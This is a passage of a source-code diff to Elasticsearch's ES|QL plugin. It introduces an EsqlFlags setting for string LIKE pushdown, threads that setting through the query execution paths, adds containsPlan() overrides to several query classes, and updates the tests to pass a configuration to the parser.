                     clusterAlias,
+                    flags,
                     searchContexts,
                     configuration,
                     configuration.newFoldContext(),
@@ -422,7 +427,9 @@ private void runComputeOnDataNode(
                     exchangeService.finishSinkHandler(externalId, new TaskCancelledException(task.getReasonCancelled()));
                     exchangeService.finishSinkHandler(request.sessionId(), new TaskCancelledException(task.getReasonCancelled()));
                 });
+                EsqlFlags flags = computeService.createFlags();
                 DataNodeRequestExecutor dataNodeRequestExecutor = new DataNodeRequestExecutor(
+                    flags,
                     request,
                     task,
                     internalSink,
@@ -442,6 +449,7 @@ private void runComputeOnDataNode(
                         request.sessionId(),
                         "node_reduce",
                         request.clusterAlias(),
+                        flags,
                         List.of(),
                         request.configuration(),
                         new FoldContext(request.pragmas().foldLimit().getBytes()),
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlFlags.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlFlags.java
new file mode 100644
index 0000000000000..09ef93d56e9ee
--- /dev/null
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlFlags.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.plugin;
+
+import org.elasticsearch.common.settings.ClusterSettings;
+import org.elasticsearch.common.settings.Setting;
+
+public class EsqlFlags {
+    public static final Setting<Boolean> ESQL_STRING_LIKE_ON_INDEX = Setting.boolSetting(
+        "esql.query.string_like_on_index",
+        true,
+        Setting.Property.NodeScope,
+        Setting.Property.Dynamic
+    );
+
+    private final boolean stringLikeOnIndex;
+
+    public EsqlFlags(boolean stringLikeOnIndex) {
+        this.stringLikeOnIndex = stringLikeOnIndex;
+    }
+
+    public EsqlFlags(ClusterSettings settings) {
+        this.stringLikeOnIndex = settings.get(ESQL_STRING_LIKE_ON_INDEX);
+    }
+
+    public boolean stringLikeOnIndex() {
+        return stringLikeOnIndex;
+    }
+}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
index 2c851431b59c6..7cba5eeb56278 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
@@ -72,6 +72,8 @@
 import org.elasticsearch.xpack.esql.enrich.LookupFromIndexOperator;
 import org.elasticsearch.xpack.esql.execution.PlanExecutor;
 import org.elasticsearch.xpack.esql.expression.ExpressionWritables;
+import org.elasticsearch.xpack.esql.io.stream.ExpressionQueryBuilder;
+import org.elasticsearch.xpack.esql.io.stream.PlanStreamWrapperQueryBuilder;
 import org.elasticsearch.xpack.esql.plan.PlanWritables;
 import org.elasticsearch.xpack.esql.querydsl.query.SingleValueQuery;
 import org.elasticsearch.xpack.esql.querylog.EsqlQueryLog;
@@ -262,7 +264,8 @@ public List<Setting<?>> getSettings() {
             ESQL_QUERYLOG_THRESHOLD_WARN_SETTING,
             ESQL_QUERYLOG_INCLUDE_USER_SETTING,
             DEFAULT_DATA_PARTITIONING,
-            STORED_FIELDS_SEQUENTIAL_PROPORTION
+            STORED_FIELDS_SEQUENTIAL_PROPORTION,
+            EsqlFlags.ESQL_STRING_LIKE_ON_INDEX
         );
     }
 
@@ -325,6 +328,8 @@ public List<NamedWriteableRegistry.Entry> getNamedWriteables() {
         entries.add(AsyncOperator.Status.ENTRY);
         entries.add(EnrichLookupOperator.Status.ENTRY);
         entries.add(LookupFromIndexOperator.Status.ENTRY);
+        entries.add(ExpressionQueryBuilder.ENTRY);
+        entries.add(PlanStreamWrapperQueryBuilder.ENTRY);
 
         entries.addAll(ExpressionWritables.getNamedWriteables());
         entries.addAll(PlanWritables.getNamedWriteables());
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/TransportEsqlQueryAction.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/TransportEsqlQueryAction.java
index 6629b0b09d086..8d67a747f0e02 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/TransportEsqlQueryAction.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/TransportEsqlQueryAction.java
@@ -174,6 +174,7 @@ public TransportEsqlQueryAction(
         defaultAllowPartialResults = EsqlPlugin.QUERY_ALLOW_PARTIAL_RESULTS.get(clusterService.getSettings());
         clusterService.getClusterSettings()
             .addSettingsUpdateConsumer(EsqlPlugin.QUERY_ALLOW_PARTIAL_RESULTS, v -> defaultAllowPartialResults = v);
+
     }
 
     @Override
@@ -213,6 +214,7 @@ private void innerExecute(Task task, EsqlQueryRequest request, ActionListener<Es
         if (request.allowPartialResults() == null) {
             request.allowPartialResults(defaultAllowPartialResults);
         }
+        EsqlFlags flags = computeService.createFlags();
         Configuration configuration = new Configuration(
             ZoneOffset.UTC,
             request.locale() != null ? request.locale() : Locale.US,
@@ -236,6 +238,7 @@ private void innerExecute(Task task, EsqlQueryRequest request, ActionListener<Es
         PlanRunner planRunner = (plan, resultListener) -> computeService.execute(
             sessionId,
             (CancellableTask) task,
+            flags,
             plan,
             configuration,
             foldCtx,
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/EqualsSyntheticSourceDelegate.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/EqualsSyntheticSourceDelegate.java
index 1db12c873a763..812e741c64d29 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/EqualsSyntheticSourceDelegate.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/EqualsSyntheticSourceDelegate.java
@@ -35,6 +35,11 @@ protected String innerToString() {
         return fieldName + "(delegate):" + value;
     }
 
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
+
     private class Builder extends BaseTermQueryBuilder<Builder> {
         private Builder(String name, String value) {
             super(name, value);
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KnnQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KnnQuery.java
index aa0e896dfc013..2946af2ac5c23 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KnnQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KnnQuery.java
@@ -81,4 +81,9 @@ public int hashCode() {
     public boolean scorable() {
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KqlQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KqlQuery.java
index 7ef272f84ec9f..56229ec325d73 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KqlQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/KqlQuery.java
@@ -87,4 +87,9 @@ protected String innerToString() {
     public boolean scorable() {
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchPhraseQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchPhraseQuery.java
index be6f244ac4acf..6a10542687490 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchPhraseQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchPhraseQuery.java
@@ -108,4 +108,9 @@ public Map<String, Object> options() {
     public boolean scorable() {
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchQuery.java
index 57489cc930bf2..d3d9d810d78fc 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MatchQuery.java
@@ -130,4 +130,9 @@ public Map<String, Object> options() {
     public boolean scorable() {
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MultiMatchQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MultiMatchQuery.java
index 5526283dfe5a0..0caa22ef92669 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MultiMatchQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/MultiMatchQuery.java
@@ -114,4 +114,9 @@ protected String innerToString() {
     public boolean scorable() {
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java
index 753b36aa5e3d9..ca1816feba426 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java
@@ -125,6 +125,11 @@ public int hashCode() {
         return Objects.hash(super.hashCode(), next, field, useSyntheticSourceDelegate);
     }
 
+    @Override
+    public boolean containsPlan() {
+        return next.containsPlan();
+    }
+
     public abstract static class AbstractBuilder extends AbstractQueryBuilder<AbstractBuilder> {
         private final QueryBuilder next;
         private final String field;
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SpatialRelatesQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SpatialRelatesQuery.java
index bf0fa72d3af41..98939b5a495f6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SpatialRelatesQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SpatialRelatesQuery.java
@@ -86,6 +86,11 @@ public ShapeRelation shapeRelation() {
         };
     }
 
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
+
     /**
      * This class is a minimal implementation of the QueryBuilder interface.
      * We only need the toQuery method, but ESQL makes extensive use of QueryBuilder and trimming that interface down for ESQL only would
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/TranslationAwareExpressionQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/TranslationAwareExpressionQuery.java
index d61101c2f594c..8106f6c6661aa 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/TranslationAwareExpressionQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/TranslationAwareExpressionQuery.java
@@ -40,4 +40,9 @@ public boolean scorable() {
         // All Full Text Functions are translated to queries using this method
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/Configuration.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/Configuration.java
index 928c7734cf422..0f66a839bb429 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/Configuration.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/Configuration.java
@@ -211,6 +211,23 @@ public Map<String, Map<String, Column>> tables() {
         return tables;
     }
 
+    public Configuration withoutTables() {
+        return new Configuration(
+            zoneId,
+            locale,
+            username,
+            clusterName,
+            pragmas,
+            resultTruncationMaxSize,
+            resultTruncationDefaultSize,
+            query,
+            profile,
+            Map.of(),
+            queryStartTimeNanos,
+            allowPartialResults
+        );
+    }
+
     /**
      * Enable profiling, sacrificing performance to return information about
      * what operations are taking the most time.
@@ -309,4 +326,11 @@ public String toString() {
             + '}';
     }
 
+    /**
+     * Reads a {@link Configuration} that doesn't contain any {@link Configuration#tables()}.
+     */
+    public static Configuration readWithoutTables(StreamInput in) throws IOException {
+        BlockStreamInput blockStreamInput = new BlockStreamInput(in, null);
+        return new Configuration(blockStreamInput);
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
index b6dd0c40f3481..d148f7f4db73c 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
@@ -326,7 +326,7 @@ private LocalRelation resultToPlan(LogicalPlan plan, Result result) {
     }
 
     private LogicalPlan parse(String query, QueryParams params) {
-        var parsed = new EsqlParser().createStatement(query, params, planTelemetry);
+        var parsed = new EsqlParser().createStatement(query, params, planTelemetry, configuration);
         LOGGER.debug("Parsed logical plan:\n{}", parsed);
         return parsed;
     }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/CsvTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/CsvTests.java
index 6935a1efac2ae..f2f1568242d25 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/CsvTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/CsvTests.java
@@ -88,6 +88,7 @@
 import org.elasticsearch.xpack.esql.planner.PlannerUtils;
 import org.elasticsearch.xpack.esql.planner.TestPhysicalOperationProviders;
 import org.elasticsearch.xpack.esql.planner.mapper.Mapper;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.plugin.QueryPragmas;
 import org.elasticsearch.xpack.esql.session.Configuration;
 import org.elasticsearch.xpack.esql.session.EsqlSession;
@@ -566,7 +567,7 @@ private static TestPhysicalOperationProviders testOperationProviders(
     }
 
     private ActualResults executePlan(BigArrays bigArrays) throws Exception {
-        LogicalPlan parsed = parser.createStatement(testCase.query);
+        LogicalPlan parsed = parser.createStatement(testCase.query, EsqlTestUtils.TEST_CFG);
         var testDatasets = testDatasets(parsed);
         LogicalPlan analyzed = analyzedPlan(parsed, testDatasets);
 
@@ -715,7 +716,7 @@ void executeSubPlan(
             var searchStats = new DisabledSearchStats();
             var logicalTestOptimizer = new LocalLogicalPlanOptimizer(new LocalLogicalOptimizerContext(configuration, foldCtx, searchStats));
             var physicalTestOptimizer = new TestLocalPhysicalPlanOptimizer(
-                new LocalPhysicalOptimizerContext(configuration, foldCtx, searchStats)
+                new LocalPhysicalOptimizerContext(new EsqlFlags(true), configuration, foldCtx, searchStats)
             );
 
             var csvDataNodePhysicalPlan = PlannerUtils.localPlan(dataNodePlan, logicalTestOptimizer, physicalTestOptimizer);
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java
index 5e6c37545a396..c806fec61dc64 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/AnalyzerTestUtils.java
@@ -129,7 +129,7 @@ public static LogicalPlan analyze(String query, String index, String mapping) {
     }
 
     public static LogicalPlan analyze(String query, Analyzer analyzer) {
-        var plan = new EsqlParser().createStatement(query);
+        var plan = new EsqlParser().createStatement(query, configuration(query));
         // System.out.println(plan);
         var analyzed = analyzer.analyze(plan);
         // System.out.println(analyzed);
@@ -137,7 +137,7 @@ public static LogicalPlan analyze(String query, Analyzer analyzer) {
     }
 
     public static LogicalPlan analyze(String query, String mapping, QueryParams params) {
-        var plan = new EsqlParser().createStatement(query, params);
+        var plan = new EsqlParser().createStatement(query, params, configuration(query));
         var analyzer = analyzer(loadMapping(mapping, "test"), TEST_VERIFIER, configuration(query));
         return analyzer.analyze(plan);
     }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java
index 794642525940a..54071ac86d59f 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java
@@ -99,7 +99,7 @@ public void testInlineCast() throws IOException {
                 if (EsqlDataTypeConverter.converterFunctionFactory(expectedType) == null) {
                     continue;
                 }
-                LogicalPlan plan = parser.createStatement("ROW a = 1::" + nameOrAlias);
+                LogicalPlan plan = parser.createStatement("ROW a = 1::" + nameOrAlias, TEST_CFG);
                 Row row = as(plan, Row.class);
                 assertThat(row.fields(), hasSize(1));
                 Function functionCall = (Function) row.fields().get(0).child();
@@ -210,7 +210,10 @@ public void testInvalidSample() {
     }
 
     private String error(String query, QueryParams params) {
-        ParsingException e = expectThrows(ParsingException.class, () -> defaultAnalyzer.analyze(parser.createStatement(query, params)));
+        ParsingException e = expectThrows(
+            ParsingException.class,
+            () -> defaultAnalyzer.analyze(parser.createStatement(query, params, TEST_CFG))
+        );
         String message = e.getMessage();
         assertTrue(message.startsWith("line "));
         return message.substring("line ".length());
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
index 27c3c1427b7db..8c663c5ed3f49 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/VerifierTests.java
@@ -37,6 +37,7 @@
 import java.util.Map;
 import java.util.Set;
 
+import static org.elasticsearch.xpack.esql.EsqlTestUtils.TEST_CFG;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.paramAsConstant;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.withDefaultLimitWarning;
 import static org.elasticsearch.xpack.esql.analysis.AnalyzerTestUtils.loadMapping;
@@ -2239,7 +2240,7 @@ private void query(String query) {
     }
 
     private void query(String query, Analyzer analyzer) {
-        analyzer.analyze(parser.createStatement(query));
+        analyzer.analyze(parser.createStatement(query, TEST_CFG));
     }
 
     private String error(String query) {
@@ -2270,7 +2271,7 @@ private String error(String query, Analyzer analyzer, Class<? extends Exception>
         Throwable e = expectThrows(
             exception,
             "Expected error for query [" + query + "] but no error was raised",
-            () -> analyzer.analyze(parser.createStatement(query, new QueryParams(parameters)))
+            () -> analyzer.analyze(parser.createStatement(query, new QueryParams(parameters), TEST_CFG))
         );
         assertThat(e, instanceOf(exception));
 
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/CheckLicenseTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/CheckLicenseTests.java
index 68a6f38cdd69a..039b34252c12e 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/CheckLicenseTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/CheckLicenseTests.java
@@ -79,7 +79,7 @@ public EsqlFunctionRegistry snapshotRegistry() {
             }
         };
 
-        var plan = parser.createStatement(esql);
+        var plan = parser.createStatement(esql, EsqlTestUtils.TEST_CFG);
         plan = plan.transformDown(
             Limit.class,
             l -> Objects.equals(l.limit().fold(FoldContext.small()), 10)
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java
index d6a6106f9372e..0efd8daaacaa0 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java
@@ -134,6 +134,6 @@ public void testLuceneQuery_NonFoldableSuffix_Translatable() {
 
         var query = function.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
 
-        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "*a\\*b\\?c\\\\")));
+        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "*a\\*b\\?c\\\\", false, false)));
     }
 }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java
index c716457dd8378..67fb9f0c41f26 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java
@@ -94,6 +94,6 @@ public void testLuceneQuery_NonFoldablePrefix_Translatable() {
 
         var query = function.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
 
-        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "a\\*b\\?c\\\\*")));
+        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "a\\*b\\?c\\\\*", false, false)));
     }
 }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java
index 0de1a098507fa..78e4c951829d5 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java
@@ -11,7 +11,6 @@
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
 import org.apache.lucene.util.BytesRef;
-import org.elasticsearch.TransportVersion;
 import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
@@ -26,12 +25,14 @@
 import org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier;
 import org.elasticsearch.xpack.esql.expression.function.scalar.string.regex.WildcardLikeList;
 import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 
 import java.util.ArrayList;
 import java.util.List;
 import java.util.function.Function;
 import java.util.function.Supplier;
 
+import static org.elasticsearch.TransportVersions.V_8_17_0;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.startsWith;
 
@@ -104,7 +105,7 @@ static Expression buildWildcardLikeList(Source source, List<Expression> args) {
     public void testNotPushableOverCanMatch() {
         TranslationAware translatable = (TranslationAware) buildFieldExpression(testCase);
         assertThat(
-            translatable.translatable(LucenePushdownPredicates.forCanMatch(TransportVersion.current())).finish(),
+            translatable.translatable(LucenePushdownPredicates.forCanMatch(V_8_17_0, new EsqlFlags(true))).finish(),
             equalTo(TranslationAware.FinishedTranslatable.NO)
         );
     }
@@ -112,7 +113,7 @@ public void testNotPushableOverCanMatch() {
     public void testPushable() {
         TranslationAware translatable = (TranslationAware) buildFieldExpression(testCase);
         assertThat(
-            translatable.translatable(LucenePushdownPredicates.from(new EsqlTestUtils.TestSearchStats())).finish(),
+            translatable.translatable(LucenePushdownPredicates.from(new EsqlTestUtils.TestSearchStats(), new EsqlFlags(true))).finish(),
             equalTo(TranslationAware.FinishedTranslatable.YES)
         );
     }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeTests.java
index a9e9e5f917785..858d7235b2c70 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeTests.java
@@ -83,7 +83,7 @@ protected Expression build(Source source, List<Expression> args) {
         return buildWildcardLike(source, args);
     }
 
-    static Expression buildWildcardLike(Source source, List<Expression> args) {
+    Expression buildWildcardLike(Source source, List<Expression> args) {
         Expression expression = args.get(0);
         Literal pattern = (Literal) args.get(1);
         Literal caseInsensitive = args.size() > 2 ? (Literal) args.get(2) : null;
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/AbstractLogicalPlanOptimizerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/AbstractLogicalPlanOptimizerTests.java
index bff9843a89e1f..4263b8d07c8f2 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/AbstractLogicalPlanOptimizerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/AbstractLogicalPlanOptimizerTests.java
@@ -180,7 +180,7 @@ protected LogicalPlan plan(String query) {
     }
 
     protected LogicalPlan plan(String query, LogicalPlanOptimizer optimizer) {
-        var analyzed = analyzer.analyze(parser.createStatement(query));
+        var analyzed = analyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG));
         // System.out.println(analyzed);
         var optimized = optimizer.optimize(analyzed);
         // System.out.println(optimized);
@@ -188,7 +188,7 @@ protected LogicalPlan plan(String query, LogicalPlanOptimizer optimizer) {
     }
 
     protected LogicalPlan planAirports(String query) {
-        var analyzed = analyzerAirports.analyze(parser.createStatement(query));
+        var analyzed = analyzerAirports.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG));
         // System.out.println(analyzed);
         var optimized = logicalOptimizer.optimize(analyzed);
         // System.out.println(optimized);
@@ -196,7 +196,7 @@ protected LogicalPlan planAirports(String query) {
     }
 
     protected LogicalPlan planExtra(String query) {
-        var analyzed = analyzerExtra.analyze(parser.createStatement(query));
+        var analyzed = analyzerExtra.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG));
         // System.out.println(analyzed);
         var optimized = logicalOptimizer.optimize(analyzed);
         // System.out.println(optimized);
@@ -204,11 +204,11 @@ protected LogicalPlan planExtra(String query) {
     }
 
     protected LogicalPlan planTypes(String query) {
-        return logicalOptimizer.optimize(analyzerTypes.analyze(parser.createStatement(query)));
+        return logicalOptimizer.optimize(analyzerTypes.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
     }
 
     protected LogicalPlan planMultiIndex(String query) {
-        return logicalOptimizer.optimize(multiIndexAnalyzer.analyze(parser.createStatement(query)));
+        return logicalOptimizer.optimize(multiIndexAnalyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG)));
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LocalLogicalPlanOptimizerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LocalLogicalPlanOptimizerTests.java
index f2b70c99253b8..0009b6ac897dc 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LocalLogicalPlanOptimizerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LocalLogicalPlanOptimizerTests.java
@@ -508,7 +508,7 @@ public void testSparseDocument() throws Exception {
             TEST_VERIFIER
         );
 
-        var analyzed = analyzer.analyze(parser.createStatement(query));
+        var analyzed = analyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG));
         var optimized = logicalOptimizer.optimize(analyzed);
         var localContext = new LocalLogicalOptimizerContext(EsqlTestUtils.TEST_CFG, FoldContext.small(), searchStats);
         var plan = new LocalLogicalPlanOptimizer(localContext).localOptimize(optimized);
@@ -785,7 +785,7 @@ private LocalRelation asEmptyRelation(Object o) {
     }
 
     private LogicalPlan plan(String query, Analyzer analyzer) {
-        var analyzed = analyzer.analyze(parser.createStatement(query));
+        var analyzed = analyzer.analyze(parser.createStatement(query, EsqlTestUtils.TEST_CFG));
         // System.out.println(analyzed);
         var optimized = logicalOptimizer.optimize(analyzed);
         // System.out.println(optimized);
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LogicalPlanOptimizerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LogicalPlanOptimizerTests.java
